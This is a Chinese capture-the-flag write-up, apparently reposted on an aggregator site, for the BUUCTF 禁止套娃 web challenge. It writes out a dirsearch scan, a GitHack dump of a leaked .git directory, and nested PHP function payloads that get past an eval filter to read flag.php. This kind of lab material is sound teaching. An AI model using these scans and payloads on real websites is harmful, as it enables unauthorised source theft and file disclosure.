当前位置: 首页 > news >正文

BUUCTF——[GXYCTF2019]禁止套娃解题记录

题目场景:

#解题

flag在哪里呢?

哪里呢?

呢?

?_?)

查看源码,无。

bp抓包,无。

进行目录扫描。

使用dirsearch,设置线程数为1,时间间隔为0.1

(速度太快容易被服务器拒绝请求)

dirsearch -u http://e0737172-5099-475b-930d-ad9b1396ec70.node5.buuoj.cn:81 -t 1 --delay 0.1

扫描结果:

Git源码泄露

服务器上的.git目录(Git版本控制的核心目录)未被及时清理,导致攻击者可以通过该目录下载完整源代码。

如何判断存在Git泄露?

1.直接访问http://目标IP/.git/

  • 返回403 Forbidden(最常见,说明.git目录存在但列表禁止访问) 。
  • 200 OK + 目录列表(直接看到.git下的文件)。

2.访问http://目录IP/.git/HEAD,有返回内容,存在git泄露。

3.使用类似dirsearch的工具扫描。

我们这里使用经典工具GitHack,下载源码。

python GitHack.py http://e0737172-5099-475b-930d-ad9b1396ec70.node5.buuoj.cn:81/.git/

结果:

目录下找到这个文件夹:

打开刚刚下载的文件index.php

<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>

需要传一个exp参数。

第一个正则匹配,过滤掉了一些常见的php伪协议。

data://(数据流协议):将传入的字符串作为数据流解析,可直接执行PHP代码。

phar://(压缩包协议):读取、执行压缩包内的文件,无视后缀。

file://(本地文件协议):读取本地文件时,PHP默认使用此协议。

第二个字符串替换,要求整个字符串替换完之后只剩下 ' ; '

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

[a-z,_]+表示匹配小写字母、逗号、下划线,大于等于一次。

\( 和 \)表示匹配左括号和右括号

(?R)?中 (?R) 表示把整个正则表达式再执行一遍,? 表示匹配0次或1次。整个正则表达式代表的是函数嵌套匹配,如:a(b(c()));

第三个正则匹配,过滤掉了et|na|info|dec|bin|hex|oct|pi|log这些字符串片段,如get、phpinfo等函数就不能使用了。

综合下来,这题函数传参是传不了了,只能利用函数嵌套回显来寻找有用的信息。

下面介绍一些常用的函数。

函数嵌套

localeconv():返回当前系统的区域设置,如货币符号、数字格式、小数点符号等。

scandir():返回指定目录下的所有文件和子目录组成的数组。

var_dump():打印变量的类型、长度和值。

print_r():打印变量的结构和值。

current():返回数组当前指针指向的元素值,初始指向第一个元素。

next():把数组指针往后移一位,并返回新的元素值。

end():数组指针跳转到最后一个元素,并返回相应的值。

array_reverse():返回一个数组的逆序。

show_source():读取指定文件的内容,并以语法高亮的形式输出。

highlight_file():完全等价于show_source()函数。

pos():完全等价于current()函数。

本题我们先构造payload,以寻找可利用的字符:

?exp=var_dump(localeconv());

这里我们可以提取出数组的第一个元素.后续用来表示当前目录。

使用current()函数,打印出来看看,payload:

?exp=print_r(current(localeconv())); (var_dump()函数也是可以的,没啥区别)

继续,打印scandir()函数返回的当前目录结构,payload:

?exp=print_r(scandir(current(localeconv())));

有flag文件了,但距离有点远,逆序数组,payload:

?exp=print_r(array_reverse(scandir(current(localeconv()))));

使用next()函数移动指针,指向第二个数组元素,最后读取flag.php文件内容,

最终payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

Congratulations!

【个人理解,如有不妥,欢迎交流指正。】

http://www.jsqmd.com/news/499601/

相关文章:

  • SDPose-Wholebody在Typora中的技术文档自动化
  • 3人团队干出10人活?实测这款AI短剧平台,发现“人效”还能这么卷
  • 努力学习了一辈子,突然发现学习没什么用了
  • Cesium快速入门到精通系列教程二十三:综合
  • Python之三大基本库——Pandas
  • python-flask高校失物招领平台38tp1
  • 基于S7-200 PLC和MCGS的电机转速闭环速度控制系统:带解释的梯形图程序、接线图原理图...
  • GLM-4.7-Flash性能实测:推理速度优化,响应更迅速
  • 三相光伏并网Matlab/Simulink仿真:MPPT控制与LCL滤波器应用
  • GLM-4v-9b多场景落地:教培机构用4090实现课件截图→知识点打标+习题生成
  • JAVA进阶-锁
  • 【Deer-flow】项目解读——subagent 调度
  • python数据结构-字符串
  • MMDOCIR: Benchmarking Multimodal Retrieval for Long Documents
  • APM使用LUA脚本发送实现遥控器PWM信号输出CAN协议信号
  • 广义预测控制(MPGC)在水下机器人中的应用——一场控制算法的探索
  • 卷积神经网络(CNN)在音频特征提取中的角色:SenseVoice-Small模型技术探秘
  • 圣女司幼幽-造相Z-Turbo保姆级教程:cat日志定位问题+Gradio端口映射调试
  • 机器学习创新探索
  • mysql,设置auto_increment
  • KCF算法中的公式如何带入以及C语言实现
  • 零基础搭建免费IP代理池:从原理到实战的保姆级指南
  • 快速入门!Xinference-v1.17.1部署实战:轻松搭建个人AI助手
  • PROJECT MOGFACE跨平台文档生成:替代Typora的智能Markdown写作体验
  • 从接口到业务协同:看懂 SAP 集成与 API 的底层逻辑
  • 神经符号AI:让机器人“能思考、会解释”的下一代控制范式
  • 082手机商城管理系统-ssm
  • LangGraph 核心概念
  • Stable Diffusion v1.5 在内容创作中的应用:快速生成文章插图与创意配图
  • 从接口目录到企业级集成中枢:读懂 SAP Business Accelerator Hub 的真正价值